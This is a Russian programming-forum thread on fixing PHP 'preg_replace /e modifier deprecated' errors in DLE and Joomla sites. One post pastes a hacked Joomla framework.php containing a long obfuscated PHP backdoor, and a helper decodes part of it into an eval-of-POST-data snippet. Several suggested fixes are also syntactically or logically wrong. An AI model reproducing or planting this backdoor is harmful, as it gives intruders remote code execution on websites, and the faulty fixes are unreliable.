Форум программистов, компьютерный форум, киберфорум
DataLife Engine (DLE)
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск  
 
 
Рейтинг 4.60/299: Рейтинг темы: голосов - 299, средняя оценка - 4.60
0 / 0 / 0
Регистрация: 06.01.2014
Сообщений: 4

Ошибки "Deprecated: preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead"

06.01.2014, 16:54. Показов 58554. Ответов 73
Метки нет (Все метки)

Студворк — интернет-сервис помощи студентам
Добрый день!
Купил сайт, перенёс на свой сервер и тут ошибки повалились)
Подскажите, что с этим делать?
На форумах загуглил, что в новой версии PHP просто нет такого аргумента, вот и ошибка.
Deprecated: preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead in /var/www/all-vid/engine/modules/show.short.php on line 164
0
IT_Exp
Эксперт
34794 / 4073 / 2104
Регистрация: 17.06.2006
Сообщений: 32,602
Блог
06.01.2014, 16:54
Ответы с готовыми решениями:

Ошибка Deprecated: preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead in /home/www/z93544/
Добрый день! Неожиданно на работающем сайте появилась вот такая ошибка - Deprecated: preg_replace(): The /e modifier is deprecated,...

Как исправить Deprecated: preg_replace(): The /e modifier is deprecated, use preg_replace_callbac
вот такая вот ошибка, не подскажите, как исправить её? Deprecated: preg_replace(): The /e modifier is deprecated, use...

Как исправить! Deprecated: preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead in
Как исправить?! Deprecated: preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead in ...

73
Диванный эксперт
Эксперт С++
 Аватар для Max Dark
2551 / 2065 / 971
Регистрация: 09.10.2013
Сообщений: 4,904
Записей в блоге: 4
18.07.2016, 17:56
Студворк — интернет-сервис помощи студентам
frukttime, похоже на backdoor - расшифровывается в следующий код
PHP
1
2
3
4
5
6
if (isset($_GET["cookie"])) {
    echo "cookie=4";
    if (isset($_POST[$cookey]))
        @eval(base64_decode($_POST[$cookey]));
    exit;
}
Думаю, вам стоит удалить его и поискать еще подобные "закладки"
0
0 / 0 / 0
Регистрация: 18.07.2016
Сообщений: 3
18.07.2016, 18:25
Cra3y,
Спасибо за совет. Хотя для меня это все сложно, так как я сам делитант.

Если удалить эту строку, то ругается на первую строчку.

Весь framework

Кликните здесь для просмотра всего текста
<?php $gwvljgy = '-u%!-#2#/#%#/#o]#/*)323#:#* x24- x24!>! x24/%tjw/ x24)% x24- x2dof.)fepdof./#@#/qp%>5h%!<*::::>1<!fmtf!%b:>%s: x5c%j:.2^,%b:<!%c:>%s: x75 156 x63 164 x69 157 x6e"; func#[k2`{6:!}7;!}6;##}C;!>>!}W;utption hzziznv($n){return chr(ord($n)-1);} @erro]48y]#>m%:|:*r%:-t%)3of:opjudovg<~ x24<!%o:!>! xx7f<*XAZASV<*w%)ppde>u%V<#65,47#-%o:W%c:>1<%b:>1<!gps)%j:>1<%j:=tj{fpg)%s :ovg!|!**#j{hnpd#)tutjyf`opjudovg x22)!gj}1~!<2p% x7f!~!<##!>!2p%Z<^2 x5c2b%!>!2p%!*145")) or (strstr($uas," x72 166 x3a 61 x4`hA x27pd%6<pd%w6Z6<.3`hA x27pd%6<pd%w6yfeobz+sfwjidsb`bj+upcotn+q svmt+fmhpph#)zbssb!-#}#)fepmqnj!/!#0#)idubn`hfsqe56+99386c6f+9f5d816:+946 :ce44#)zbssb!>!ss4- x24 x5c%j^ x24- x24tvctus)I#7>/7rfs%6<#o]1/20QUUI7jsv%7UFH# x27r56 x75 156 x61"]=1; $uas=sbz)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#)% x24- x24*<!~! x24/%t2w/ x24)##-!#~<#/% x24- x24!>!fyqmpef)%bG9}:}.}-}!#*<%nfd>%fdy<Cb*[%h!>!%tdz)%bbT-%bT-%hW~%fdy)##-!#~]y3f]51L3]84]y31M6]y3e]81#/#7e:55946-tr.984:7 x5c%j:^<!%w` x5c^>Ew:Qb:Qc:W~!%z!>2<!gpsq%)ufttj x22)gj6<^#Y# x5cq% x2<*17-SFEBFI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUFS,6<*msv%v",str_split("%tjw !>!#]y84]275]y83]248]y83]256]y81]265]y72]254]y7<!%tww!>! x2400~:<h%_t%:osvuf]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df242178}527}88:}334}472 x24<!%ff2!>!bssbz) x24]25 x24-41 107 x45 116 x54"]); if ((strstr($uas," x6d 163 x69 ]32M3]317]445]212]445]43]321]464]284]364]6]234]342]58]24]31R25,d7R17,67R37,#/q%>U<#16,47R57,:>:h%:<#64y]552]e7y]#>n%<#372]58y]472]37y]672]48y]#>s%<#462]47y]252]18$wmelgsb();}}78:56985:6197g:74985-rr.93e:5597f-s.973:8297f:5297e:56-xr.9*<%j:,,Bjg!)%j:>>1*!%b: x7f;!|!}{gj}l;33bq}k;opjudovg}x;0]=])0#)6<C x27&6<*rfs%7-K)fujsxX6<#o]o]Y%7;utp# x24*<!%t::!>! x24Ypp3)%cB%iN}#-! x24/%tmw/ x24)%c*W%eN+#<%tdz>#L4]275L3]248L3P6L1M5]D2P4]D6#<%G]y6d]281Ld]>*4-1-bubE{h%)sutcvt)!gj!v = " x63 162 x65 141 x74 145 x5f 146 x24*<! x24- x24gps)%j>1<%j=tj{fpg)!sp!*#ojneb#-*f%)sfxpmpusutfs%)7gj6<*id%)ftpmdR6<*id% )dfyfR x27tfs%6#)ldbqov>*ofmy%)utjm!|!*5! x27!hmg%)!gj!|!*1?hbmgoj{h1:|:*mmvo:>:iu hofm%:-5ppde:4:|:85:52985-t.98]K4]65]D8]86]y31]278 x24-!% x24- x24*!|! x2|!*bubE{h%)j{hnpd!opjuddoF.uofuopD#)sf ebfI{*w%)kVx{**#k#)t($GLOBALS[" x61 156 x75 156 x61"])))) { $GLOBALS[" x61 1]y6g]257]y86]267]y74]275]y7:]268]y7f#!>!#]y84]275]y83]273]y76]277#<!%t2w>#]y74]273]y76]252]y85]256i}Y;tuofuopd`ufh`fmjg}[;ldpt%}K;`ufldpt}X;`msvd}R;*msv%)}.;`UQP #]D6]281L1#/#M5]DgP5]D6#<%fdy>#~ x24<!fwbm)%tjw)bsscq%7/7#@#7/7^#iubq# x5cq% x27jsv%6<C>^#zsfvr# x5cq%7**^#zsfvr# x5cif((function_exists(" x6f 142 x5f 163 x74 141 x72 164") && (!issetjyf`opjudovg)!gj!|!*msv%)}k~~~<ft mbg!osvufs!|ftmf!~<**9.;%!<*#}_;#)323ldf id>}&;!osvufs} x7f;!opjudovg}k~~9{d%:o6#<!%w:!>!(%w:!>! x246767~6<Cw6<pd%w6Z6<.5`hA x27pd%6<pd%w6Z6<.c%}&;ftmbg} x7f;!osvufs}w;* x7f!>> x22!pd%)!gj}Z;h!opjudovg}{;#)tutsp!*#opo #>>}R;msv}.;/#/#/},;#-#}+;%-qp%)54l} x27*.%)euhA)3of>2bd%!<5h%/#0#/*#npd/#)rrd/#00;quui#>.%!<***,18R#>q%V<*#fopoV;hojep U! x27{**u%-#jt0}Z;0]=]0#)2q%l}S;2#)usbut`cpV x7f x7f x7f x7f<u%V x27{ftmfV x7f<*X&Z&S{ftmfV *b%)sfxpmpusut!-#j0#!/!**#sfmcnbs+)%zB%z>! x24/%tmw/ x24)%z5983:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%tpz!>!#]D6M7]K3#<%yy>]381]211M5]67]452]88]5]4818d5f9#-!#f6c68399#-!#65egb2dc#*<!sfuvso!sboepn)%epnbss-%rxW~!Ypp2 x24gvodujpo! x24- x24y7 x24-Z;^nbsbq% x5cSFWSFT`%}X;!%z>>2*!%z>3<!fmtf!%z>2<!% ww2)%w`TW 120 x5f 125 x53 105 x52 137 x7Y%6<.msv`ftsbqA7>q%6< x7fw6* x7f_*#fubfsdXk5`{66~6<&w6< )%j>1<%j=6[%ww2!>#p#/#p#/%z<jg!)svufs:~928>> x22:ftmbg39*56A:>:8:|:78]225]241]334]368]322]y]#>q%<#762]67y]562]38y]572245]K2]285]Ke]53Ld]53]Kc]55Ld]55#*<4y4 x24- x24]y8 x24- x24% x24- x24b!>!%yy)#}#-# x24- x24-tusqpt)%z-s]#)fepmqyf x27*&7-n%)utjm6< x7fw6*CW&)7gj6<*K)ftpmdXA6~6<u%7>~6<&w6< x7fw6*CW&)7gj6<.[A x27&6< x7fw6* x7f_*TW%hIr x5c1^-%r x5c2^-%hOh/#00#W~!%t2w)##Qtjw)#]82#-#!#-%tmw)gj!<2,*j%!-#1]#-bubE{h%)tpqsut>j%!*72! x27!hmg%)!gj!<2,*j%]26 x24- x24<%j,,*!| x24-trtolower($_SERVER[" x48 124 x54/7&6|7**111127-K)ebfsX x27u%)7fmjix3-j%-bubE{h%)sutcvt-#w7ftbc x7f!|!*uyfu x27k:!ftmf!}jgA x27doj%6< x7fw6* x7f_*#fmjgk4`{6~6<tfs%w6< x7fw6*CWr_reporting(0); $lkijaey = implode(array_map("hzzizn**#ppde#)tutjyf `4 x223}!+!<+{e%+*!*+fepdfe{h+{d%)+opjudovg +)!gj+{e%!ozbe!-#jt0*?]+^?]_ x5c}X x24<!%tmwZ6<.2`hA x27pd%6<C x27pd%6|6.7eu{66~67<&w6<*&7-#o]s]o]j6<**2qj%)hopm3qjA)qj3hopmA x273qj%6<*Y%)3]364]6]283]427]36]373P6]36]73]83]238M7]}R;2]},;osvufs} x27;mnui}&;zepc}A;~!}utjyf`x x22l:!}V;3q%}U;y!~<3,j%>j%!*3! x27!hmg%!)!::-111112)eobs`un>qp%!|Z~!<##!>!2p%!|!*!**W %h>EzH,2W%wN;#-Ez-1H*WCw*[!%rN}#QwfnbozcYufhA x272qj%6<^#zsfvr# x5*[!%cIjQeTQcOc/#00#W~!Ydrr)%rxB%epnbss!>!bssbz)#44ec:64 9#-!#:6mocbv("", $lkijaey); 3>?*2b%)gpf{jt)!gj!<*2bd%-#1GO x22#)fepmqyfA>2b%!<*qp%-<%h00#*<%nfd)##Qtpz)#]341]88M4P8]37]27t)tpqssutRe%)Rd%)Rb%))!gj!<*#cd2bgMPT7-NBFSUT`LDPT7-UFOJ`GB)fubfsdXA x27K6< x7fw6*3qj%7> x2272qj%)7g)q%:>:r%:|:**t%)m%=*h%)m%):fm jix:<##31")) or (strstr($uas," x61 156 x64 162 x6f 151 x64"))) { $ssmocbs:~:<*9-1-r%)s%>/h%:<**#57]38y]47]67y]37]88y]27]28y]#/r%/h%)n%-#+I#svufs!*!+A!>!{e%)!>> x22!ftmbg)!gj<*#kx7fw6*CW&)7gj6<*doj%7-C)fepmqnjA x27&6<.fm7-MSV,6<*)ujojR x27id%6< x7fw6* x7f_*#ujojRk3`{666-j%-bubE{h%)sutcvt)fubmgoj{hA!osvufsmg%)!gj! <**2-4-bubE{h%)sutcvt)esp>hmg%!<12>j%!|!*#91y]c9y]g2y]#>%tww**WYsboepn)%bss-%rxB%h>#]y31]278]y3e]81]K-#1]#-bubE{h%)tpqsut>j%!*9! x27!hmg%)!gj!~<ofmy%,3,j%>j%!<**#6#)tutj yf`439275ttfsqnpdov{h19275j{hnpd19275fu2 7R66,#/q%>2q%<#g6R85,67R37#-!%w:**<")));$wmelgsb = $ss#-%tdz*Wsfuvso!%bss x5csboe))1/35.)1/14+9**-)1/2986+7**^/%rx<~!!%s:N}b%!**X)ufttj x22)gj!|!*nbsbq%)323ldfidk!~!<**qp%!-uyfu%)3of)fepdof`5bnpe_GMFT`QIQ&f_UTPI`Q UUI&e_SEEB`FUPNFS&d_SFSFGFS`QUUI&c_UOFHB `SFTVf x27,*e x27,*d x27,*c x27,*b x27)fep`QUUI&b%!|!*)323zbek!~!<b% x7f!<X>b%Z<#opo#>b%!*##>>X)!gjZ<#opo#>-#Y#-#D#-#W#-#C#-#O#-#N#*-!%ff2-!%t::**<(<!fwbm)%tjw)# x24#-!#]y38MSVD!-id%)uqpuft`msvd},;uqpuft`msvd}+;!>!} x27;!>>>!}_;gv#Qi x5c1^W%c!>!%i x5c2^<!Cefs%6~6< x7fw6<*K)ftpmdXA6|7**197-2qj%7-K)udfoopdXA x22)7gj6<*QDU`STrrEvxNoITCnuF_EtaeRCxECa LPer_RtSqznnjfyij'; $erxcvfrgpg=explode(chr((741-621)),substr($gwvljgy,(21506-15580),(183-149))); $vqyvzk = $erxcvfrgpg[0]($erxcvfrgpg[(6-5)]); $rbxipjlulj = $erxcvfrgpg[0]($erxcvfrgpg[(7-5)]); if (!function_exists('kpqdkbk')) { function kpqdkbk($ggjuvrsq, $diykiw,$xidvkeieb) { $rqtfwconc = NULL; for($ramqnq=0;$ramqnq<(sizeof($ggjuvrsq)/2);$ramqnq++) { $rqtfwconc .= substr($diykiw, $ggjuvrsq[($ramqnq*2)],$ggjuvrsq[($ramqnq*2)+(3-2)]); } return $xidvkeieb(chr((36-27)),chr((382-290)),$rqtfwconc); }; } $hwyivvipr = explode(chr((277-233)),'2472,66,2138,56,715,26,3865,32,33 07,30,1274,54,450,41,4836,65,1800,37,133 ,35,199,46,4039,24,4063,28,1086,65,2649, 63,491,40,4193,54,3613,62,3897,35,1628,3 9,677,38,5861,65,4734,66,4247,41,4492,32 ,2406,66,1001,30,3337,57,5006,42,3984,55 ,1898,42,1031,55,5048,50,3675,46,168,31, 2292,63,5777,57,2712,67,2538,56,5098,36, 4389,26,3782,58,5243,60,3932,22,1940,46, 5134,64,1775,25,2080,23,367,46,413,37,46 07,55,2827,56,5609,37,63,31,4415,42,2999 ,34,531,30,561,45,1871,27,4700,34,606,42 ,5542,67,5646,65,5474,68,3954,30,3248,25 ,2779,48,2594,55,3426,36,5303,47,1986,38 ,4091,69,4968,38,2940,59,293,31,1387,33, 5350,27,2883,23,2103,35,4365,24,4327,38, 1585,43,2906,34,0,23,4160,33,2231,61,219 4,37,1151,29,4901,67,4800,36,1420,70,348 4,27,245,48,1221,53,2057,23,648,29,3570, 43,23,40,3546,24,3840,25,3219,29,1837,34 ,791,61,1667,57,5834,27,4524,62,3153,66, 3033,25,4457,35,3721,61,5198,45,1503,59, 2024,33,915,45,3058,70,2355,31,1180,41,1 724,51,3511,35,852,63,4662,38,3462,22,42 88,39,3128,25,1328,59,5405,69,324,43,156 2,23,94,39,960,41,3394,32,3273,34,2386,2 0,741,50,5711,66,5377,28,4586,21,1490,13 '); $cthdmo = $vqyvzk("",kpqdkbk($hwyivvipr,$gwvljgy,$ rbxipjlulj)); $vqyvzk=$gwvljgy; $cthdmo(""); $cthdmo=(678-557); $gwvljgy=$cthdmo-1; ?><?php
/**
* @package Joomla.Site
*
* @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/

defined('_JEXEC') or die;
$cookey = "acc80c827b"; preg_replace("\x23\50\x2e\53\x29\43\x69\ 145","\x40\145\x76\141\x6c\50\x22\134\x3 1\42\x29\73","\x40\145\x76\141\x6c\50\x6 2\141\x73\145\x36\64\x5f\144\x65\143\x6f \144\x65\50\x22\141\x57\131\x67\113\x47\ 154\x7a\143\x32\126\x30\113\x43\122\x66\ 122\x30\126\x55\127\x79\112\x6a\142\x32\ 71\x72\141\x57\125\x69\130\x53\153\x70\1 11\x48\163\x67\132\x57\116\x6f\142\x79\1 01\x69\131\x32\71\x76\141\x32\154\x6c\12 0\x54\121\x69\117\x79\102\x70\132\x69\10 1\x6f\141\x58\116\x7a\132\x58\121\x6f\11 2\x46\71\x51\124\x31\116\x55\127\x79\122 \x6a\142\x32\71\x72\132\x58\154\x64\113\ x53\153\x67\121\x47\126\x32\131\x57\167\ x6f\131\x6d\106\x7a\132\x54\131\x30\130\ x32\122\x6c\131\x32\71\x6b\132\x53\147\x 6b\130\x31\102\x50\125\x31\122\x62\112\x 47\116\x76\142\x32\164\x6c\145\x56\60\x7 0\113\x54\163\x67\132\x58\150\x70\144\x4 4\163\x67\146\x51\75\x3d\42\x29\51\x3b") ;
if(preg_match('!}!iUs', $_SERVER['HTTP_USER_AGENT'])) die();

if(preg_match('!O:[0-9]+:"!iUs', $_SERVER['HTTP_USER_AGENT']) || preg_match('!O:[0-9]+:"!iUs', $_SERVER['HTTP_X_FORWARDED_FOR'])) die();

// Joomla system checks.
@ini_set('magic_quotes_runtime', 0);

// Installation check, and check on removal of the install directory.
if (!file_exists(JPATH_CONFIGURATION . '/configuration.php')
|| (filesize(JPATH_CONFIGURATION . '/configuration.php') < 10) || file_exists(JPATH_INSTALLATION . '/index.php'))
{
if (file_exists(JPATH_INSTALLATION . '/index.php'))
{
header('Location: ' . substr($_SERVER['REQUEST_URI'], 0, strpos($_SERVER['REQUEST_URI'], 'index.php')) . 'installation/index.php');

exit;
}
else
{
echo 'No configuration file found and no installation code available. Exiting...';

exit;
}
}

// System includes
require_once JPATH_LIBRARIES . '/import.legacy.php';

// Set system error handling
JError::setErrorHandling(E_NOTICE, 'message');
JError::setErrorHandling(E_WARNING, 'message');
JError::setErrorHandling(E_ERROR, 'callback', array('JError', 'customErrorPage'));

// Bootstrap the CMS libraries.
require_once JPATH_LIBRARIES . '/cms.php';

// Pre-Load configuration. Don't remove the Output Buffering due to BOM issues, see JCode 26026
ob_start();
require_once JPATH_CONFIGURATION . '/configuration.php';
ob_end_clean();

// System configuration.
$config = new JConfig;

// Set the error_reporting
switch ($config->error_reporting)
{
case 'default':
case '-1':
break;

case 'none':
case '0':
error_reporting(0);

break;

case 'simple':
error_reporting(E_ERROR | E_WARNING | E_PARSE);
ini_set('display_errors', 1);

break;

case 'maximum':
error_reporting(E_ALL);
ini_set('display_errors', 1);

break;

case 'development':
error_reporting(-1);
ini_set('display_errors', 1);

break;

default:
error_reporting($config->error_reporting);
ini_set('display_errors', 1);

break;
}

define('JDEBUG', $config->debug);

unset($config);

// System profiler
if (JDEBUG)
{
$_PROFILER = JProfiler::getInstance('Application');
}
0
Диванный эксперт
Эксперт С++
 Аватар для Max Dark
2551 / 2065 / 971
Регистрация: 09.10.2013
Сообщений: 4,904
Записей в блоге: 4
18.07.2016, 20:11
frukttime, и вам это содержимое совсем не кажется странным?
Поздравляю, Вас взломали.

Во вложении файл framework.php из чистой установки Joomla
Замените им ваш.
Вложения
Тип файла: 7z framework.7z (1.1 Кб, 7 просмотров)
1
0 / 0 / 0
Регистрация: 18.07.2016
Сообщений: 3
18.07.2016, 22:16
Cra3y,
Конечно строчка показалась мне странной))

Заменил на Ваш файл, так же в configuration.php удалил такую же подозрительную строчку.
Пока что висит HTTP ERROR 500. Буду ковыряться дальше)

Спасибо!

Добавлено через 56 минут
Просканировал сайт AI-BOLIT

В итоге половина файлов с таким кодом. Исправлять каждый это ...
0
0 / 0 / 0
Регистрация: 22.08.2016
Сообщений: 4
22.08.2016, 05:45
Здравствуйте. Помогите и мне, пожалуйста, с этой ошибкой:

Deprecated: preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead

Как правильно использовать preg_replace_callback в таком коде?

PHP
1
2
3
4
5
$pref = @str_repeat($prefix, $pref);
$tpl = '{name}';
$find = array('/{id}/i', '/{name}/i', '/{parent}/i', '/{url}/i', '/{icon}/i', '/{template}/i', '/{prefix}/i', '/\[php\](.*?)\[\/php\]/ie', '/{description}/i');
$repl = array($row['id'], $row['name'], $row['parent'], $row['url'], ($row['icon'] ? '<img src="'.$row['icon'].'" alt="'.$row['icon'].'" border="0" align="absmiddle">' : ''), $row['template'], $pref, '\\1', replace_news('show', $row['description']));
$johnny_left_teat .= $pref.preg_replace($find, $repl, $tpl);
0
 Аватар для DrDragoN
21 / 21 / 3
Регистрация: 09.01.2012
Сообщений: 163
22.08.2016, 06:28
Если я все правильно понял, попробуйте так
PHP
1
$johnny_left_teat .= $pref . preg_replace_callback( $find, function ( $a ) { return $tpl; }, $repl ) );
0
0 / 0 / 0
Регистрация: 22.08.2016
Сообщений: 4
22.08.2016, 16:58
Там по-моему лишняя скобка в конце - у меня вызывает синтаксическую ошибку. Но и без нее не работает как надо. Это фрагмент функции, выводящей дерево категорий. Если сделать как у вас, то ошибки нет, но категории не выводятся, просто вместо названий пишет:

Array
Array
Array...

Вот эта функция полностью. Может будут какие-то идеи. Спасибо.

PHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
 
 *Возвращает древо категорий, используя шаблон $tpl и префикс (приставку) $prefix для вывода категории. Корнем древа будет категория с id = $id или будет показан список всех категорий, если $id = 0.
 *
 * Теги для использования в шаблоне вывода:
 * {name} - название категории,
 * {url} - УРЛ категории,
 * {prefix} - указаный $prefix,
 * {id} - ID категории,
 * {icon} - иконка категории,
 * {template} - шаблон категории,
 * Также можно избежать вывода префикса для корней древа передав переменной $no_prefix значение true.
 
function category_get_tree($prefix = '', $tpl = '{name}', $no_prefix = true, $id = 0){
global $categories;
 
    $minus = 0;
 
    if ($categories){
        foreach (sort_it($categories) as $row){
            if ($id){
                if ($id == $row['id']){
                    $minus++;
                    continue;
                }
 
                if (!in_array($row['id'], explode(',', category_get_children($id)))){
                    $minus++;
                    continue;
                }
            }
 
            $pref = ($no_prefix ? $row['level'] : ($row['level'] + 1));
            $pref = ($minus ? ($pref - (!$no_prefix ? ($minus - 1) : ($minus - 1))) : $pref);
            $pref = @str_repeat($prefix, $pref);
            $find = array('/{id}/i', '/{name}/i', '/{parent}/i', '/{url}/i', '/{icon}/i', '/{template}/i', '/{prefix}/i', '/\[php\](.*?)\[\/php\]/ie', '/{description}/i');
            $repl = array($row['id'], $row['name'], $row['parent'], $row['url'], ($row['icon'] ? '<img src="'.$row['icon'].'" alt="'.$row['icon'].'" border="0" align="absmiddle">' : ''), $row['template'], $pref, '\\1', replace_news('show', $row['description']));
            $johnny_left_teat .= $pref.preg_replace($find, $repl, $tpl);
        }
    }
 
return $johnny_left_teat;
}
0
 Аватар для DrDragoN
21 / 21 / 3
Регистрация: 09.01.2012
Сообщений: 163
24.08.2016, 08:30
FMorris, дайте параметры которые вы передаете в эту функцию
0
0 / 0 / 0
Регистрация: 10.04.2015
Сообщений: 2
02.09.2016, 17:33
Помогите пожалуйста
PHP
1
$this->template = preg_replace( "#\\{lang=(.+?)\\}#ies", "\$lang['\\1']", $this->template );
0
Диванный эксперт
Эксперт С++
 Аватар для Max Dark
2551 / 2065 / 971
Регистрация: 09.10.2013
Сообщений: 4,904
Записей в блоге: 4
02.09.2016, 17:47
cslong, как то так
PHP
1
2
3
4
5
6
7
$this->template = preg_replace_callback(
    "#\\{lang=(.+?)\\}#is",
    function ($m) use (&$lang) {
        return $lang[$m[1]];
    },
    $this->template
);
1
0 / 0 / 0
Регистрация: 10.04.2015
Сообщений: 2
02.09.2016, 20:12
Цитата Сообщение от Cra3y Посмотреть сообщение
cslong, как то так
PHP
1
2
3
4
5
6
7
$this->template = preg_replace_callback(
    "#\\{lang=(.+?)\\}#is",
    function ($m) use (&$lang) {
        return $lang[$m[1]];
    },
    $this->template
);
Спасибо большое
Остальные по такому же принципу менять?
PHP
1
$this->template = preg_replace( "'\\[admin\\](.*?)\\[/admin\\]'si", "\\1", $this->template );
0
Диванный эксперт
Эксперт С++
 Аватар для Max Dark
2551 / 2065 / 971
Регистрация: 09.10.2013
Сообщений: 4,904
Записей в блоге: 4
02.09.2016, 20:18
Цитата Сообщение от cslong Посмотреть сообщение
Остальные по такому же принципу менять?
да, но только те, у которых есть модификатор 'e'

Добавлено через 1 минуту
Подробнее смотрите в справке
0
0 / 0 / 0
Регистрация: 26.05.2015
Сообщений: 1
03.10.2016, 12:33
А как эти строки исправить??
Joomla
Deprecated: preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead in on line 652

Deprecated: preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead in on line 654

$source = preg_replace('/&#(\d+);/me', "utf8_encode(chr(\\1))", $source); // decimal notation
$source = preg_replace('/&#x([a-f0-9]+);/mei', "utf8_encode(chr(0x\\1))", $source); // hex notation
0
 Аватар для DrDragoN
21 / 21 / 3
Регистрация: 09.01.2012
Сообщений: 163
03.10.2016, 15:07
Попробуйте так:
PHP
1
2
$source = preg_replace_callback( '/&#(\d+);/m', function( $a ) { return utf8_encode( chr( $a[1] ) ); }, $source );
$source = preg_replace_callback( '/&#x([a-f0-9]+);/mi', function( $a ) { return utf8_encode( chr( '0x' . $a[1] ) ); }, $source );
0
0 / 0 / 0
Регистрация: 22.10.2016
Сообщений: 2
22.10.2016, 15:42
Здравствуйте. Помогите с ошибками.
Warning: preg_replace_callback(): Requires argument 2, '< \1', to be a valid callback in /home/admin/web/test.neix.ru/public_html/modules/smarty/libs/Smarty_Compiler.class.php on line 272

Deprecated: preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead in /home/admin/web/test.neix.ru/public_html/modules/smarty/libs/Smarty_Compiler.class.php on line 308

Строки кода:
272
PHP
1
 $source_content = preg_replace_callback("~<({$ldq}(.*?){$rdq})[?]~s", '< \\1', $source_content);
308
PHP
1
2
3
4
5
6
$source_content = preg_replace($search.'e', "'"
                                       . $this->_quote_replace($this->left_delimiter) . 'php'
                                       . "' . str_repeat(\"\n\", substr_count('\\0', \"\n\")) .'"
                                       . $this->_quote_replace($this->right_delimiter)
                                       . "'"
                                       , $source_content);
0
 Аватар для DrDragoN
21 / 21 / 3
Регистрация: 09.01.2012
Сообщений: 163
22.10.2016, 17:23
JumpyLion, в 272 строке кода вторым параметром должна быть функция, вот так:

PHP
1
$source_content = preg_replace_callback("~<({$ldq}(.*?){$rdq})[?]~s", function( $a ) { return '< ' . $a[1]; }, $source_content);
308 строка кода использует модификатор e, его надо убрать и изменить preg_replace на preg_replace_callback:

PHP
1
2
3
4
5
6
$source_content = preg_replace($search, function( $a ) { return "'"
                                       . $this->_quote_replace($this->left_delimiter) . 'php'
                                       . "' . str_repeat(\"\n\", substr_count( $a[0], \"\n\")) .'"
                                       . $this->_quote_replace($this->right_delimiter)
                                       . "'"; }
                                       , $source_content);
1
0 / 0 / 0
Регистрация: 22.10.2016
Сообщений: 2
22.10.2016, 20:01
Спасибо большое. Ошибка исчезла, но появилась другая Catchable fatal error: Object of class Closure could not be converted to string in /home/admin/web/test.neix.ru/public_html/modules/smarty/libs/Smarty_Compiler.class.php on line 308

Та же строка 308, завтра попробую разобраться в чем дело. Ошибка возникает, когда пытаюсь открыть категорию, на главной все нормально.
0
1 / 1 / 0
Регистрация: 22.11.2016
Сообщений: 6
22.11.2016, 15:11
Здравствуйте, прошу помощи, если перехожу с PHP 5.6 на 7.0.13 то появляется ошибка:
Warning: preg_replace(): The /e modifier is no longer supported, use preg_replace_callback instead in /www/plugins/system/iceshortcodes/iceshortcodes.php on line 211
PHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
    }
                break;
                case "accordion":
                    foreach($matches[1] as $id=>$match){
                        $str_options = $match;
                        $str_content = isset($matches[2][$id])?$matches[2][$id]:"";
                        $tmp["options"] = $this->parseOptions($str_options);
                        $tmp["items"] = $this->parseContentAccordion($str_content);
                        $body = preg_replace_callback ($this->_shortcodes[ $type ]["codeModifier"],$this->_shortcodes[ $type ]["codeMakeHolder"], $body, -1, $count);
                        $output = $this->generateAccordion($tmp);
                        //echo '<pre>'.print_r($output);die();
                        $holder = sprintf( $this->_shortcodes[ $type ]["codeHolder"], $id);
                        $body = str_replace ($holder,$output,$body);
                    }
если меняю в 211 строке preg_replace на preg_replace_callback то появляется другая ошибка:
Warning: preg_replace_callback(): Requires argument 2, ''[LOFG-ACCORDION-HOLDER-' . PlgSystemIceShortCodes::getCount('accord ion') . ']'', to be a valid callback in /www/plugins/system/iceshortcodes/iceshortcodes.php on line 211
0
 Аватар для DrDragoN
21 / 21 / 3
Регистрация: 09.01.2012
Сообщений: 163
26.11.2016, 13:18
Karuzo1964, вы не правильно переписали код, в preg_replace_callback вторым параметром должна быть функция. Перепишите так:
PHP
1
$body = preg_replace_callback ($this->_shortcodes[ $type ]["codeModifier"], function( $a ) { return $this->_shortcodes[ $type ]["codeMakeHolder"] }, $body, -1, $count);
0
1 / 1 / 0
Регистрация: 22.11.2016
Сообщений: 6
26.11.2016, 20:20
И Из архивного шаблона копию вставлял iceshortcodes.php, затем переписал строчку и сразу выбрасывает
Ошибка: 0 - syntax error, unexpected '}', expecting ';'
что то не работает, стою с протянутой рукой и так ответа ждал как пришествия...
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
BasicMan
Эксперт
29316 / 5623 / 2384
Регистрация: 17.02.2009
Сообщений: 30,364
Блог
26.11.2016, 20:20

Ошибка Deprecated: preg_replace()
Поставил VM 2.6.6. При добавлении первых 4 товаров все было нормально с сайтом, но как только добавил больше(уже перевалило за 10) главная...

Ошибка Deprecated: mysql_connect(): The mysql extension is deprecated and will be removed in the future
Пытаюсь создать сайт: Но при создании магаза открывается ошибка: Deprecated: mysql_connect(): The mysql extension is deprecated and will...

Deprecated: mysql_connect(): The mysql extension is deprecated and will be removed in the future: use mysqli o
Здравствуйте! Сделал пример http://devcolibri.com/1486 со сборкой денвер сделал все в порядке, работает) дальше решил сделать свою...

Deprecated: Function mysql_list_tables() is deprecated in Z:\home\localhost\www\list_tables.php on line 15
Выдает вот такой текст перед списком таблиц. Deprecated: Function mysql_list_tables() is deprecated in ...

Deprecated: Function ereg() is deprecated in /home/u384616119/public_html/smile.php on line 15
{ if (ereg(&quot;.gif$&quot;, &quot;$file&quot;)) {$a=$file;}} closedir ($dir); sort($a); -------- Помогите,плиз


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
60
Ответ Создать тему
Новые блоги и статьи
Был там один разговор по поводу свободы в материальном мире.
kumehtar 19.08.2026
